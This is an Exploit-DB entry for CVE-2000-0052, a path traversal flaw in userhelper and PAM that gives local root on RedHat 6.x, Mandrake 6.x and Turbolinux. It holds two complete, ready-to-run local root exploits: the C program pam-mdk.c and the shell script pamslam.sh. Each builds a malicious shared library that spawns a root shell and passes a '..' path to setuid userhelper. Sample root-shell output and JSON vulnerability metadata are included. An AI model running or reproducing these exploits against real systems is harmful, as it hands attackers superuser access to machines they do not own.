ID EDB-ID:19710 Type exploitdb Reporter Elias Levy Modified 2000-03-15T00:00:00
Description
Mandrake 6.0/6.1,RedHat 6.0/6.1,Turbolinux 3.5 b2/4.2/4.4/6.0.2 userhelper/PAM Path Vulnerability (2). CVE-2000-0052. Local exploit for linux platform
source: http://www.securityfocus.com/bid/913/info
Because of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow ".." paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as "../../../tmp/myprog", which would (to userhelper) be "/etc/security/console.apps/../../../tmp/myprog". If "myprog" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for "../../../tmp/myprog" is in /etc/pam.d/ but also follows ".." directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM.
This vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior.
/*
* pam-mdk.c (C) 2000 Paulo Ribeiro
*
* DESCRIPTION:
* -----------
* Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its
* exploit (pamslam.sh) doesn't work on it (at least on my machine). So,
* I created this C program based on it which exploits PAM/userhelper
* and gives you UID 0.
*
* SYSTEMS TESTED:
* --------------
* Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1.
*
* RESULTS:
* -------
* [prrar@linux prrar]$ id
* uid=501(prrar) gid=501(prrar) groups=501(prrar)
* [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk
* [prrar@linux prrar]$ ./pam-mdk
* sh-2.03# id
* uid=0(root) gid=501(prrar) groups=501(prrar)
* sh-2.03#
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
FILE *fp;
strcpy(argv[0], "vi test.txt");
fp = fopen("abc.c", "a");
fprintf(fp, "#include<stdlib.h>\n");
fprintf(fp, "#include<unistd.h>\n");
fprintf(fp, "#include<sys/types.h>\n");
fprintf(fp, "void _init(void) {\n");
fprintf(fp, "\tsetuid(geteuid());\n");
fprintf(fp, "\tsystem(\"/bin/sh\");\n");
fprintf(fp, "}");
fclose(fp);
system("echo -e auth\trequired\t$PWD/abc.so > abc.conf");
system("chmod 755 abc.conf");
system("gcc -fPIC -o abc.o -c abc.c");
system("ld -shared -o abc.so abc.o");
system("chmod 755 abc.so");
system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf");
system("rm -rf abc.*");
}
{"id": "EDB-ID:19710", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Mandrake 6.x / RedHat 6.x / Turbolinux 3.5 b2/4.x/6.0.2 userhelper/PAM - Path Vulnerability 2", "description": "Mandrake 6.0/6.1,RedHat 6.0/6.1,Turbolinux 3.5 b2/4.2/4.4/6.0.2 userhelper/PAM Path Vulnerability (2). CVE-2000-0052. Local exploit for linux platform", "published": "2000-03-15T00:00:00", "modified": "2000-03-15T00:00:00", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://www.exploit-db.com/exploits/19710/", "reporter": "Elias Levy", "references": [], "cvelist": ["CVE-2000-0052"], "lastseen": "2016-02-02T12:31:33", "viewCount": 1, "enchantments": {"score": {"value": 6.1, "vector": "NONE", "modified": "2016-02-02T12:31:33", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2000-0052"]}, {"type": "exploitdb", "idList": ["EDB-ID:19709"]}, {"type": "osvdb", "idList": ["OSVDB:1189"]}], "modified": "2016-02-02T12:31:33", "rev": 2}, "vulnersScore": 6.1}, "sourceHref": "https://www.exploit-db.com/download/19710/", "sourceData": "source: http://www.securityfocus.com/bid/913/info\r\n \r\nBecause of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow \"..\" paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as \"../../../tmp/myprog\", which would (to userhelper) be \"/etc/security/console.apps/../../../tmp/myprog\". If \"myprog\" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for \"../../../tmp/myprog\" is in /etc/pam.d/ but also follows \"..\" directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM.\r\n \r\nThis vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior.\r\n\r\n\r\n/*\r\n * pam-mdk.c (C) 2000 Paulo Ribeiro\r\n *\r\n * DESCRIPTION:\r\n * -----------\r\n * Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its\r\n * exploit (pamslam.sh) doesn't work on it (at least on my machine). So,\r\n * I created this C program based on it which exploits PAM/userhelper\r\n * and gives you UID 0.\r\n *\r\n * SYSTEMS TESTED:\r\n * --------------\r\n * Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1.\r\n *\r\n * RESULTS:\r\n * -------\r\n * [prrar@linux prrar]$ id\r\n * uid=501(prrar) gid=501(prrar) groups=501(prrar)\r\n * [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk\r\n * [prrar@linux prrar]$ ./pam-mdk\r\n * sh-2.03# id\r\n * uid=0(root) gid=501(prrar) groups=501(prrar)\r\n * sh-2.03#\r\n */\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n FILE *fp;\r\n\r\n strcpy(argv[0], \"vi test.txt\");\r\n\r\n fp = fopen(\"abc.c\", \"a\");\r\n fprintf(fp, \"#include<stdlib.h>\\n\");\r\n fprintf(fp, \"#include<unistd.h>\\n\");\r\n fprintf(fp, \"#include<sys/types.h>\\n\");\r\n fprintf(fp, \"void _init(void) {\\n\");\r\n fprintf(fp, \"\\tsetuid(geteuid());\\n\");\r\n fprintf(fp, \"\\tsystem(\\\"/bin/sh\\\");\\n\");\r\n fprintf(fp, \"}\");\r\n fclose(fp);\r\n\r\n system(\"echo -e auth\\trequired\\t$PWD/abc.so > abc.conf\");\r\n system(\"chmod 755 abc.conf\");\r\n system(\"gcc -fPIC -o abc.o -c abc.c\");\r\n system(\"ld -shared -o abc.so abc.o\");\r\n system(\"chmod 755 abc.so\");\r\n system(\"/usr/sbin/userhelper -w ../../..$PWD/abc.conf\");\r\n system(\"rm -rf abc.*\");\r\n}\r\n", "osvdbidlist": ["1189"]}
{"cve": [{"lastseen": "2020-10-03T11:36:56", "description": "Red Hat userhelper program in the usermode package allows local users to gain root access via PAM and a .. (dot dot) attack.", "edition": 3, "cvss3": {}, "published": "2000-01-04T05:00:00", "title": "CVE-2000-0052", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2000-0052"], "modified": "2008-09-10T19:02:00", "cpe": ["cpe:/o:turbolinux:turbolinux:3.5b2", "cpe:/o:redhat:linux:6.0", "cpe:/o:turbolinux:turbolinux:4.2", "cpe:/o:redhat:linux:6.1", "cpe:/o:mandrakesoft:mandrake_linux:6.1", "cpe:/o:turbolinux:turbolinux:4.4", "cpe:/o:mandrakesoft:mandrake_linux:6.0", "cpe:/o:turbolinux:turbolinux:6.0.2"], "id": "CVE-2000-0052", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0052", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:redhat:linux:6.1:*:i386:*:*:*:*:*", "cpe:2.3:o:turbolinux:turbolinux:3.5b2:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:linux:6.0:*:i386:*:*:*:*:*", "cpe:2.3:o:mandrakesoft:mandrake_linux:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:turbolinux:turbolinux:4.2:*:*:*:*:*:*:*", "cpe:2.3:o:turbolinux:turbolinux:6.0.2:*:*:*:*:*:*:*", "cpe:2.3:o:mandrakesoft:mandrake_linux:6.1:*:*:*:*:*:*:*", "cpe:2.3:o:turbolinux:turbolinux:4.4:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:19:55", "bulletinFamily": "software", "cvelist": ["CVE-2000-0052"], "edition": 1, "description": "# No description provided by the source\n\n## References:\nRedHat RHSA: RHSA-2000:001-01\n[CVE-2000-0052](https://vulners.com/cve/CVE-2000-0052)\nBugtraq ID: 913\n", "modified": "2000-01-04T00:00:00", "published": "2000-01-04T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:1189", "id": "OSVDB:1189", "title": "Multiple Linux Vendor userhelper/PAM Path", "type": "osvdb", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitdb": [{"lastseen": "2016-02-02T12:31:21", "description": "Mandrake 6.0/6.1,RedHat 6.0/6.1,Turbolinux 3.5 b2/4.2/4.4/6.0.2 userhelper/PAM Path Vulnerability. CVE-2000-0052. Local exploit for linux platform", "published": "2000-01-04T00:00:00", "type": "exploitdb", "title": "Mandrake 6.x / RedHat 6.x / Turbolinux 3.5 b2/4.x/6.0.2 userhelper/PAM - Path Vulnerability 1", "bulletinFamily": "exploit", "cvelist": ["CVE-2000-0052"], "modified": "2000-01-04T00:00:00", "id": "EDB-ID:19709", "href": "https://www.exploit-db.com/exploits/19709/", "sourceData": "Mandrake 6.0/6.1,RedHat 6.0/6.1,Turbolinux 3.5 b2/4.2/4.4/6.0.2 userhelper/PAM Path Vulnerability (1)\r\n\r\nsource: http://www.securityfocus.com/bid/913/info\r\n\r\nBecause of double path vulnerabilities in the binary userhelper and PAM, it is possible to get root locally on RedHat 6.0 and 6.1 systems. Both userhelper and PAM follow \"..\" paths and userhelper allows you to specifiy a program to execute as an argument to the -w parameter (which is expected to have an entry in /etc/security/console.apps). Because of this, it's possible to specifiy a program such as \"../../../tmp/myprog\", which would (to userhelper) be \"/etc/security/console.apps/../../../tmp/myprog\". If \"myprog\" exists, PAM will then try to execute it (with the same filename). PAM first does a check to see if the configuration file for \"../../../tmp/myprog\" is in /etc/pam.d/ but also follows \"..\" directories -- to an attacker's custom pam configuration file. Specified inside the malicious configuration file (/tmp/myprog) would be arbitrary shared libraries to be opened with setuid privileges. The arbitrary libraries can be created by an attacker specifically to compromise superuser access, activating upon dlopen() by PAM.\r\n\r\nThis vulnerability also affects Mandrake Linux versions 6.0 and 6.1, as well as versions of TurboLinux Linux, version 6.0.2 and prior.\r\n\r\n\r\n#!/bin/sh\r\n#\r\n# pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start\r\n# found by dildog@l0pht.com\r\n# \r\n# synopsis:\r\n# both 'pam' and 'userhelper' (a setuid binary that comes with the\r\n# 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to\r\n# _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'\r\n# being setuid means we can get root. \r\n#\r\n# fix: \r\n# No fuckin idea for a good fix. Get rid of the .. paths in userhelper \r\n# for a quick fix. Remember 'strcat' isn't a very good way of confining\r\n# a path to a particular subdirectory.\r\n#\r\n# props to my mommy and daddy, cuz they made me drink my milk.\r\n\r\ncat > _pamslam.c << EOF\r\n#include<stdlib.h>\r\n#include<unistd.h>\r\n#include<sys/types.h>\r\nvoid _init(void)\r\n{\r\n setuid(geteuid());\r\n system(\"/bin/sh\");\r\n}\r\nEOF\r\n\r\necho -n .\r\n\r\necho -e auth\\\\trequired\\\\t$PWD/_pamslam.so > _pamslam.conf\r\nchmod 755 _pamslam.conf\r\n\r\necho -n .\r\n\r\ngcc -fPIC -o _pamslam.o -c _pamslam.c\r\n\r\necho -n o\r\n\r\nld -shared -o _pamslam.so _pamslam.o\r\n\r\necho -n o\r\n\r\nchmod 755 _pamslam.so\r\n\r\necho -n O\r\n\r\nrm _pamslam.c\r\nrm _pamslam.o\r\n\r\necho O\r\n\r\n/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf\r\n\r\nsleep 1s\r\n\r\nrm _pamslam.so\r\nrm _pamslam.conf", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/19709/"}]}